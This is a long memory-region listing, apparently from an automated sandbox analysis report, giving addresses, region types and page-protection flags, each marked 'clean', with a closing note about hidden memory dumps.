unkown
page read and write
 clean
120000
unkown
page readonly
 clean
7C4000
unkown image
page read and write
 clean
450000
unkown
page readonly
 clean
100000
unkown
page readonly
 clean
420000
heap private
page read and write
 clean
360000
heap default
page read and write
 clean
191000
unkown image
page execute and read and write
 clean
2D67000
unkown
page read and write
 clean
3B8000
heap private
page read and write
 clean
1CA0000
unkown
page readonly
 clean
2670000
heap private
page read and write
 clean
AD0000
heap private
page read and write
 clean
2110000
heap private
page read and write
 clean
1F40000
unkown
page readonly
 clean
327000
heap default
page read and write
 clean
1DC000
unkown
page read and write
 clean
784000
unkown image
page execute read
 clean
1E90000
unkown
page readonly
 clean
160000
unkown
page readonly
 clean
1D8000
unkown image
page write copy
 clean
3A8000
unkown image
page write copy
 clean
94E000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
2F0000
heap default
page read and write
 clean
160000
heap private
page read and write
 clean
12CA1000
unkown
page read and write
 clean
940000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
260000
heap private
page read and write
 clean
1D0000
unkown
page read and write
 clean
2E81000
unkown
page read and write
 clean
3086000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
920000
unkown
page readonly
 clean
7FF00220000
unkown
page execute and read and write
 clean
2B2F000
unkown
page read and write
 clean
236E000
stack
page read and write
 clean
7A2000
heap default
page read and write
 clean
2EDD000
unkown
page read and write
 clean
A5D000
unkown
page read and write
 clean
2EDA000
unkown
page read and write
 clean
180000
unkown
page execute and read and write
 clean
A60000
unkown
page readonly
 clean
287E000
unkown
page read and write
 clean
390000
heap private
page read and write
 clean
CF0000
heap private
page read and write
 clean
557000
heap default
page read and write
 clean
2660000
unkown
page read and write
 clean
21C000
unkown
page read and write
 clean
26C000
unkown
page read and write
 clean
620000
unkown
page readonly
 clean
530000
unkown
page readonly
 clean
2D87000
unkown
page read and write
 clean
FC000
unkown
page read and write
 clean
9D0000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
470000
heap default
page read and write
 clean
296000
unkown
page read and write
 clean
364000
unkown image
page execute read
 clean
ABF000
stack
page read and write
 clean
B5000
unkown
page read and write | page guard
 clean
2F9E000
stack
page read and write
 clean
7FF001F0000
unkown
page execute and read and write
 clean
20000
unkown
page readonly
 clean
3474000
unkown
page read and write
 clean
33B7000
unkown
page read and write
 clean
296D000
unkown
page read and write
 clean
465000
unkown image
page write copy
 clean
20000
unkown
page readonly
 clean
390000
unkown
page readonly
 clean
2AA0000
unkown
page readonly
 clean
20F0000
unkown
page readonly
 clean
970000
unkown
page read and write
 clean
C00000
heap private
page read and write
 clean
1B379000
unkown
page read and write
 clean
2F0000
heap private
page read and write
 clean
6F6000
heap default
page read and write
 clean
DA000
stack
page read and write
 clean
1D8000
unkown image
page write copy
 clean
7FF000F0000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
180000
heap private
page read and write
 clean
24E7000
unkown
page readonly
 clean
430000
heap default
page read and write
 clean
2B0000
heap private
page read and write
 clean
7FF00042000
unkown
page execute and read and write
 clean
28B0000
unkown
page read and write
 clean
27D0000
unkown
page readonly
 clean
2B70000
heap private
page read and write
 clean
29BE000
unkown
page read and write
 clean
2674000
heap private
page read and write
 clean
D00000
heap private
page read and write
 clean
1C94000
heap private
page read and write
 clean
1A0000
unkown
page readonly
 clean
7FF000F2000
unkown
page execute and read and write
 clean
1C760000
heap private
page read and write
 clean
781000
unkown image
page execute and read and write
 clean
1D0000
unkown
page read and write
 clean
2830000
unkown
page readonly
 clean
380000
heap private
page read and write
 clean
7FF00290000
unkown
page execute and read and write
 clean
990000
heap private
page read and write
 clean
2EEE000
stack
page read and write
 clean
2E3000
unkown image
page execute and read and write
 clean
D00000
unkown
page readonly
 clean
90000
unkown
page read and write
 clean
1B3B9000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
7F4000
unkown image
page execute read
 clean
7FF0026A000
unkown
page execute and read and write
 clean
100000
unkown
page read and write
 clean
46D000
heap default
page read and write
 clean
340000
heap default
page read and write
 clean
29EA000
unkown
page read and write
 clean
430000
heap default
page read and write
 clean
23B2000
heap private
page read and write
 clean
2E27000
unkown
page read and write
 clean
1B450000
unkown
page readonly
 clean
410000
heap default
page read and write
 clean
660000
unkown
page readonly
 clean
2EE6000
unkown
page read and write
 clean
ABE000
unkown
page read and write
 clean
1B420000
unkown
page read and write
 clean
39A000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
1E4B000
heap private
page read and write
 clean
2E68000
unkown
page read and write
 clean
230000
heap default
page read and write
 clean
290000
heap private
page read and write
 clean
E0000
unkown
page read and write
 clean
590000
unkown
page readonly
 clean
3002000
unkown
page read and write
 clean
2E0E000
unkown
page read and write
 clean
8D4000
heap private
page read and write
 clean
2400000
unkown
page readonly
 clean
2B2E000
unkown
page read and write | page guard
 clean
A70000
heap private
page read and write
 clean
2660000
unkown
page read and write
 clean
B02000
heap private
page read and write
 clean
2714000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
240000
heap default
page read and write
 clean
2394000
heap private
page read and write
 clean
26D0000
unkown
page read and write
 clean
2E30000
unkown
page read and write
 clean
2320000
unkown
page readonly
 clean
270F000
unkown
page read and write
 clean
400000
unkown image
page readonly
 clean
2F4000
heap private
page read and write
 clean
3481000
unkown
page read and write
 clean
774000
unkown image
page read and write
 clean
2127000
unkown
page readonly
 clean
279F000
unkown
page read and write
 clean
27C000
stack
page read and write
 clean
2660000
unkown
page read and write
 clean
A7E000
stack
page read and write
 clean
271F000
unkown
page read and write
 clean
300000
heap private
page read and write
 clean
7FF001B0000
unkown
page execute and read and write
 clean
2F0000
unkown
page read and write
 clean
730000
unkown
page read and write
 clean
2F8E000
unkown
page read and write
 clean
1F40000
unkown
page readonly
 clean
1C90000
heap private
page read and write
 clean
2660000
unkown
page read and write
 clean
2510000
unkown
page readonly
 clean
293E000
stack
page read and write
 clean
1BA80000
heap private
page read and write
 clean
2210000
unkown
page readonly
 clean
29F0000
heap private
page read and write
 clean
2660000
unkown
page read and write
 clean
297E000
stack
page read and write
 clean
2840000
unkown
page write copy
 clean
DC000
stack
page read and write
 clean
24D4000
heap private
page read and write
 clean
7FF00100000
unkown
page read and write
 clean
2B8000
heap private
page read and write
 clean
1AB90000
unkown
page read and write
 clean
5C0000
unkown
page readonly
 clean
2E12000
unkown
page read and write
 clean
2600000
unkown
page read and write
 clean
783000
unkown image
page execute and read and write
 clean
298000
heap private
page read and write
 clean
737000
heap default
page read and write
 clean
2660000
unkown
page read and write
 clean
2DD8000
unkown
page read and write
 clean
FE000
heap default
page read and write
 clean
7FF00270000
unkown
page execute and read and write
 clean
2A2B000
unkown
page readonly
 clean
210000
unkown
page execute and read and write
 clean
1D4000
unkown image
page read and write
 clean
2320000
unkown
page readonly
 clean
2D2C000
unkown
page read and write
 clean
361000
unkown image
page execute and read and write
 clean
364000
heap default
page read and write
 clean
4B0000
heap default
page read and write
 clean
1BD000
heap default
page read and write
 clean
970000
unkown
page readonly
 clean
100000
unkown
page read and write
 clean
1B200000
unkown
page read and write
 clean
2E1A000
unkown
page read and write
 clean
310000
heap default
page read and write
 clean
293F000
stack
page read and write
 clean
2A50000
unkown
page readonly
 clean
5C0000
unkown
page readonly
 clean
ACE000
unkown
page read and write
 clean
880000
heap private
page read and write
 clean
382000
heap default
page read and write
 clean
670000
unkown
page readonly
 clean
340000
heap default
page read and write
 clean
6B0000
unkown
page readonly
 clean
28E6000
unkown
page read and write
 clean
34EB000
unkown
page read and write
 clean
34F2000
unkown
page read and write
 clean
1C3000
heap default
page read and write
 clean
2160000
unkown
page read and write
 clean
6BD000
heap default
page read and write
 clean
3083000
unkown
page read and write
 clean
7FF001E0000
unkown
page read and write
 clean
3D0000
heap private
page read and write
 clean
1B31B000
unkown
page read and write
 clean
A10000
unkown
page readonly
 clean
194000
unkown image
page execute read
 clean
2ED4000
unkown
page read and write
 clean
2DB000
stack
page read and write
 clean
740000
unkown
page readonly
 clean
1B4ED000
unkown
page read and write
 clean
A00000
unkown
page readonly
 clean
1CC000
unkown
page read and write
 clean
216000
unkown
page read and write
 clean
12B35000
unkown
page read and write
 clean
2EC0000
unkown
page read and write
 clean
6FB000
heap default
page read and write
 clean
AE0000
heap private
page read and write
 clean
4C0000
heap default
page read and write
 clean
430000
heap private
page read and write
 clean
89E000
unkown
page read and write
 clean
3C0000
unkown
page readonly
 clean
2E7D000
unkown
page read and write
 clean
7C8000
unkown image
page write copy
 clean
2480000
unkown
page readonly
 clean
28CE000
stack
page read and write
 clean
7FF00132000
unkown
page execute and read and write
 clean
2A0C000
unkown
page readonly
 clean
60000
unkown
page readonly
 clean
2320000
unkown
page readonly
 clean
194000
unkown image
page execute read
 clean
2660000
unkown
page read and write
 clean
468000
unkown image
page write copy
 clean
1C5AE000
unkown
page read and write
 clean
2EF0000
unkown
page read and write
 clean
12B31000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
2660000
unkown
page read and write
 clean
18F000
heap default
page read and write
 clean
724000
heap default
page read and write
 clean
2ADD000
unkown
page read and write
 clean
29F7000
heap private
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
3553000
unkown
page read and write
 clean
9C000
unkown
page read and write
 clean
437000
heap default
page read and write
 clean
130000
unkown
page execute and read and write
 clean
7FF00260000
unkown
page execute and read and write
 clean
570000
unkown
page readonly
 clean
E0000
unkown
page readonly
 clean
920000
heap private
page read and write
 clean
F0000
heap default
page read and write
 clean
604000
heap default
page read and write
 clean
9D0000
heap private
page read and write
 clean
304D000
unkown
page read and write
 clean
301F000
unkown
page read and write
 clean
28DD000
stack
page read and write
 clean
466000
unkown image
page read and write
 clean
120000
unkown
page readonly
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
E0000
unkown
page readonly
 clean
5E7000
heap default
page read and write
 clean
140000
unkown
page read and write
 clean
870000
unkown
page read and write
 clean
2C0000
unkown image
page readonly
 clean
437000
heap default
page read and write
 clean
2A0000
heap private
page read and write
 clean
B00000
heap private
page read and write
 clean
7C0000
heap private
page read and write
 clean
180000
unkown
page execute and read and write
 clean
330000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
2D97000
unkown
page read and write
 clean
1BB8D000
unkown
page read and write
 clean
21B000
unkown
page read and write
 clean
26FF000
unkown
page read and write
 clean
94E000
unkown
page read and write
 clean
E0000
unkown
page read and write
 clean
110000
unkown
page readonly
 clean
2820000
unkown
page readonly
 clean
26D0000
unkown
page read and write
 clean
1C6EE000
unkown
page read and write
 clean
380000
unkown
page readonly
 clean
3442000
unkown
page read and write
 clean
3C0000
heap default
page read and write
 clean
421000
unkown image
page execute and read and write
 clean
7EA000
unkown image
page readonly
 clean
2660000
unkown
page read and write
 clean
2600000
unkown
page read and write
 clean
2D71000
unkown
page read and write
 clean
2180000
unkown
page readonly
 clean
1B0000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
347000
heap default
page read and write
 clean
317000
heap default
page read and write
 clean
2FDE000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
2440000
heap private
page read and write
 clean
1BA6000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
1CB000
heap default
page read and write
 clean
520000
heap default
page read and write
 clean
356000
heap default
page read and write
 clean
700000
heap default
page read and write
 clean
29F4000
heap private
page read and write
 clean
430000
unkown
page readonly
 clean
2EF3000
unkown
page read and write
 clean
2600000
unkown
page write copy
 clean
2D60000
unkown
page read and write
 clean
260000
unkown
page read and write
 clean
7FF0004C000
unkown
page execute and read and write
 clean
2127000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
370000
unkown
page write copy
 clean
27E000
unkown
page read and write
 clean
3108000
unkown
page read and write
 clean
2690000
unkown
page readonly
 clean
3B0000
heap private
page read and write
 clean
3F0000
unkown
page readonly
 clean
30ED000
unkown
page read and write
 clean
77A000
unkown image
page readonly
 clean
3080000
unkown
page readonly
 clean
344000
heap private
page read and write
 clean
2660000
unkown
page read and write
 clean
400000
unkown image
page readonly
 clean
26D0000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
2DB3000
unkown
page read and write
 clean
28D0000
unkown
page readonly
 clean
7FF002B0000
unkown
page execute and read and write
 clean
1A0000
heap private
page read and write
 clean
3445000
unkown
page read and write
 clean
1F0000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
AA2000
heap private
page read and write
 clean
6F8000
heap default
page read and write
 clean
23D0000
unkown
page readonly
 clean
29CC000
unkown
page read and write
 clean
1C88E000
unkown
page read and write
 clean
967000
heap private
page read and write
 clean
2D8E000
unkown
page read and write
 clean
687000
heap default
page read and write
 clean
2E30000
unkown
page write copy
 clean
3432000
unkown
page read and write
 clean
2F3E000
stack
page read and write
 clean
1B42A000
unkown
page read and write
 clean
328000
unkown image
page write copy
 clean
670000
unkown
page readonly
 clean
130000
unkown
page execute and read and write
 clean
170000
unkown image
page readonly
 clean
1DA000
unkown image
page readonly
 clean
61D000
heap default
page read and write
 clean
337000
heap default
page read and write
 clean
7CA000
unkown image
page readonly
 clean
1E0000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
134000
heap default
page read and write
 clean
820000
heap private
page read and write
 clean
8D0000
heap private
page read and write
 clean
617000
heap default
page read and write
 clean
2E44000
unkown
page read and write
 clean
26C000
unkown
page read and write
 clean
170000
heap private
page read and write
 clean
2660000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
1E15000
heap private
page read and write
 clean
CB0000
heap private
page read and write
 clean
2A2000
unkown
page read and write
 clean
7A1000
unkown image
page execute and read and write
 clean
3285000
unkown
page read and write
 clean
7FF00105000
unkown
page read and write
 clean
2670000
unkown
page readonly
 clean
2E8E000
unkown
page read and write
 clean
7D0000
unkown image
page readonly
 clean
3A0000
unkown
page readonly
 clean
1D37000
unkown
page readonly
 clean
820000
unkown
page readonly
 clean
B40000
unkown
page readonly
 clean
620000
unkown
page readonly
 clean
314000
heap default
page read and write
 clean
1B430000
unkown
page read and write
 clean
90000
unkown
page read and write
 clean
9C000
stack
page read and write
 clean
29FE000
unkown
page read and write
 clean
5C0000
unkown
page readonly
 clean
424000
unkown image
page execute read
 clean
2390000
heap private
page read and write
 clean
22F7000
unkown
page readonly
 clean
1C0000
unkown
page read and write
 clean
778000
unkown image
page write copy
 clean
6B7000
heap default
page read and write
 clean
2320000
unkown
page readonly
 clean
2E23000
unkown
page read and write
 clean
466000
unkown image
page read and write
 clean
2400000
unkown
page readonly
 clean
3A4000
unkown image
page read and write
 clean
170000
unkown
page readonly
 clean
2B66000
unkown
page read and write
 clean
C22000
heap private
page read and write
 clean
544000
heap default
page read and write
 clean
8F2000
heap private
page read and write
 clean
7FF00280000
unkown
page read and write
 clean
220000
unkown
page readonly
 clean
2980000
unkown
page readonly
 clean
423000
unkown image
page execute and read and write
 clean
2660000
unkown
page read and write
 clean
707000
heap default
page read and write
 clean
2E5D000
unkown
page read and write
 clean
2110000
unkown
page readonly
 clean
1B70000
unkown
page read and write
 clean
2E95000
unkown
page read and write
 clean
1D4000
heap default
page read and write
 clean
7FF00180000
unkown
page execute and read and write
 clean
120000
unkown
page readonly
 clean
7FF0003A000
unkown
page execute and read and write
 clean
283A000
heap private
page execute and read and write
 clean
342F000
unkown
page read and write
 clean
5D0000
unkown
page readonly
 clean
2EB2000
unkown
page read and write
 clean
3AC0000
unkown
page read and write
 clean
3330000
unkown
page read and write
 clean
AE4000
heap private
page read and write
 clean
2692000
heap private
page read and write
 clean
2462000
heap private
page read and write
 clean
140000
unkown
page read and write
 clean
29E5000
unkown
page read and write
 clean
1B3AA000
unkown
page read and write
 clean
2E63000
unkown
page read and write
 clean
2400000
unkown
page readonly
 clean
B40000
unkown
page readonly
 clean
2C0000
heap default
page read and write
 clean
55D000
heap default
page read and write
 clean
2DDD000
stack
page read and write
 clean
3ABC000
unkown
page read and write
 clean
24F0000
unkown
page readonly
 clean
680000
heap private
page read and write
 clean
37C000
heap default
page read and write
 clean
2A9C000
unkown
page read and write
 clean
2E4000
unkown image
page execute read
 clean
3B6000
heap default
page read and write
 clean
297E000
stack
page read and write
 clean
2660000
unkown
page read and write
 clean
193000
unkown image
page execute and read and write
 clean
AA0000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
3B0000
unkown
page readonly
 clean
6CD000
heap default
page read and write
 clean
3006000
unkown
page read and write
 clean
C04000
heap private
page read and write
 clean
2FE3000
unkown
page read and write
 clean
2E73000
unkown
page read and write
 clean
6B4000
heap default
page read and write
 clean
26ED000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
73D000
heap default
page read and write
 clean
90000
unkown
page read and write
 clean
2780000
unkown
page read and write
 clean
9A0000
heap private
page read and write
 clean
3448000
unkown
page read and write
 clean
840000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
100000
unkown
page read and write
 clean
3458000
unkown
page read and write
 clean
21A000
stack
page read and write
 clean
438000
heap private
page read and write
 clean
3C9000
heap default
page read and write
 clean
400000
unkown image
page readonly
 clean
2F7000
heap default
page read and write
 clean
292F000
unkown
page read and write
 clean
1B310000
unkown
page read and write
 clean
1B398000
unkown
page read and write
 clean
296E000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2D75000
unkown
page read and write
 clean
2CC000
stack
page read and write
 clean
22D7000
unkown
page readonly
 clean
2A90000
unkown
page readonly
 clean
4AF000
stack
page read and write
 clean
290000
unkown
page readonly
 clean
2127000
unkown
page readonly
 clean
655000
heap default
page read and write
 clean
30AF000
unkown
page read and write
 clean
362000
heap private
page read and write
 clean
12D80000
unkown
page read and write
 clean
B0000
unkown
page readonly
 clean
170000
unkown
page execute and read and write
 clean
834000
unkown image
page read and write
 clean
1DD0000
unkown
page readonly
 clean
7E8000
unkown image
page write copy
 clean
1B7E0000
unkown
page write copy
 clean
2EFF000
unkown
page read and write
 clean
342C000
unkown
page read and write
 clean
193000
unkown image
page execute and read and write
 clean
2C20000
heap private
page read and write
 clean
12DE2000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
36E000
heap default
page read and write
 clean
1C5E0000
heap private
page read and write
 clean
3079000
unkown
page read and write
 clean
980000
unkown
page readonly
 clean
90000
unkown
page readonly
 clean
2DB0000
unkown
page read and write
 clean
1E0000
heap private
page read and write
 clean
4FD000
heap default
page read and write
 clean
680000
heap default
page read and write
 clean
1E00000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
990000
unkown
page read and write
 clean
2D91000
unkown
page read and write
 clean
2EE3000
unkown
page read and write
 clean
DC000
unkown
page read and write
 clean
1C70000
unkown
page readonly
 clean
28BE000
unkown
page read and write
 clean
24B0000
unkown
page readonly
 clean
346B000
unkown
page read and write
 clean
100000
unkown
page readonly
 clean
2660000
unkown
page read and write
 clean
3066000
unkown
page read and write
 clean
1BC000
unkown
page read and write
 clean
363000
unkown image
page execute and read and write
 clean
2660000
unkown
page read and write
 clean
2E0000
unkown
page readonly
 clean
6C7000
heap default
page read and write
 clean
1B8A0000
unkown
page read and write
 clean
3343000
unkown
page read and write
 clean
380000
unkown
page read and write
 clean
EF0000
heap private
page read and write
 clean
2E54000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
7E4000
unkown image
page read and write
 clean
880000
unkown
page readonly
 clean
424000
unkown image
page execute read
 clean
2870000
heap private
page execute and read and write
 clean
220000
unkown
page read and write
 clean
A50000
heap private
page read and write
 clean
4F0000
unkown
page readonly
 clean
1F40000
unkown
page readonly
 clean
B0E000
unkown
page read and write
 clean
2127000
unkown
page readonly
 clean
780000
unkown image
page readonly
 clean
90000
unkown
page read and write
 clean
1C773000
heap private
page read and write
 clean
980000
unkown
page read and write
 clean
1F40000
unkown
page readonly
 clean
20000
heap private
page read and write
 clean
1B424000
unkown
page read and write
 clean
1DE000
heap default
page read and write
 clean
CE0000
heap private
page read and write
 clean
2F02000
unkown
page read and write
 clean
2D8E000
unkown
page read and write
 clean
444000
heap private
page read and write
 clean
1F40000
unkown
page readonly
 clean
E0000
unkown
page readonly
 clean
8D4000
heap private
page read and write
 clean
527000
heap default
page read and write
 clean
2B94000
unkown
page read and write
 clean
46A000
unkown image
page readonly
 clean
2EAC000
unkown
page read and write
 clean
2D81000
unkown
page read and write
 clean
1CB000
unkown
page read and write
 clean
2B75000
unkown
page read and write
 clean
12B5C000
unkown
page read and write
 clean
2127000
unkown
page readonly
 clean
7FF0010A000
unkown
page execute and read and write
 clean
7FF00170000
unkown
page read and write
 clean
327B000
unkown
page read and write
 clean
2DCD000
unkown
page read and write
 clean
29AE000
unkown
page read and write
 clean
2660000
unkown
page read and write
 clean
345B000
unkown
page read and write
 clean
32D000
heap default
page read and write
 clean
34D000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
7FF002A0000
unkown
page execute and read and write
 clean
7FF001D0000
unkown
page execute and read and write
 clean
710000
unkown image
page readonly
 clean
3B0000
heap private
page execute and read and write
 clean
180000
unkown
page read and write
 clean
1E3F000
unkown
page read and write
 clean
8F0000
heap private
page read and write
 clean
734000
unkown image
page execute read
 clean
2300000
unkown
page readonly
 clean
2E0000
unkown
page read and write
 clean
760000
unkown image
page readonly
 clean
454000
heap default
page read and write
 clean
67E000
heap default
page read and write
 clean
8F2000
heap private
page read and write
 clean
1B0000
unkown
page execute and read and write
 clean
410000
unkown
page readonly
 clean
29D0000
unkown
page readonly
 clean
B6000
unkown
page read and write
 clean
7FF00210000
unkown
page read and write
 clean
690000
heap default
page read and write
 clean
10A000
stack
page read and write
 clean
2127000
unkown
page readonly
 clean
4F7000
heap default
page read and write
 clean
300E000
unkown
page read and write
 clean
B1F000
stack
page read and write
 clean
140000
unkown
page read and write
 clean
1F40000
unkown
page readonly
 clean
440000
unkown
page readonly
 clean
1B9000
heap default
page read and write
 clean
130000
unkown
page execute and read and write
 clean
2F1F000
unkown
page read and write
 clean
7FF00200000
unkown
page read and write
 clean
464000
unkown image
page read and write
 clean
2DA6000
unkown
page read and write
 clean
240000
unkown
page read and write
 clean
440000
unkown
page readonly
 clean
3080000
unkown
page read and write
 clean
F0000
unkown
page readonly
 clean
2880000
unkown
page readonly
 clean
1C4000
heap private
page read and write
 clean
2A2D000
stack
page read and write
 clean
1DC000
unkown
page read and write
 clean
530000
unkown
page readonly
 clean
377000
heap default
page read and write
 clean
7A0000
unkown
page readonly
 clean
28A0000
unkown
page write copy
 clean
33F4000
unkown
page read and write
 clean
1B314000
unkown
page read and write
 clean
1BA4E000
unkown
page read and write
 clean
A84000
heap private
page read and write
 clean
2EE0000
unkown
page read and write
 clean
2DD0000
unkown
page write copy
 clean
970000
heap private
page read and write
 clean
970000
heap private
page read and write
 clean
26D0000
unkown
page read and write
 clean
29E0000
unkown
page read and write
 clean
220D000
unkown
page read and write
 clean
347000
heap default
page read and write
 clean
5E0000
heap default
page read and write
 clean
2E6C000
unkown
page read and write
 clean
1AB000
unkown
page read and write
 clean
334000
heap default
page read and write
 clean
1D4000
unkown image
page read and write
 clean
D0000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
282E000
stack
page read and write
 clean
2FFE000
stack
page read and write
 clean
2EFE000
stack
page read and write
 clean
12C41000
unkown
page read and write
 clean
2E40000
unkown
page read and write
 clean
360000
unkown
page read and write
 clean
39F000
heap default
page read and write
 clean
3484000
unkown
page read and write
 clean
1F40000
unkown
page readonly
 clean
7FF001C0000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
E0000
unkown
page readonly
 clean
2B31000
unkown
page read and write
 clean
AA0000
heap private
page read and write
 clean
A40000
heap private
page read and write
 clean
421000
unkown image
page execute and read and write
 clean
1B50000
unkown
page readonly
 clean
731000
unkown image
page execute and read and write
 clean
1A0000
heap private
page read and write
 clean
7FF001A0000
unkown
page read and write
 clean
7FF00032000
unkown
page execute and read and write
 clean
EC000
stack
page read and write
 clean
4C7000
heap default
page read and write
 clean
7FF00240000
unkown
page execute and read and write
 clean
2A0F000
unkown
page read and write
 clean
2E0000
unkown
page read and write
 clean
9E0000
heap private
page read and write
 clean
2830000
heap private
page execute and read and write
 clean
There are 825 hidden memdumps, click here to show them.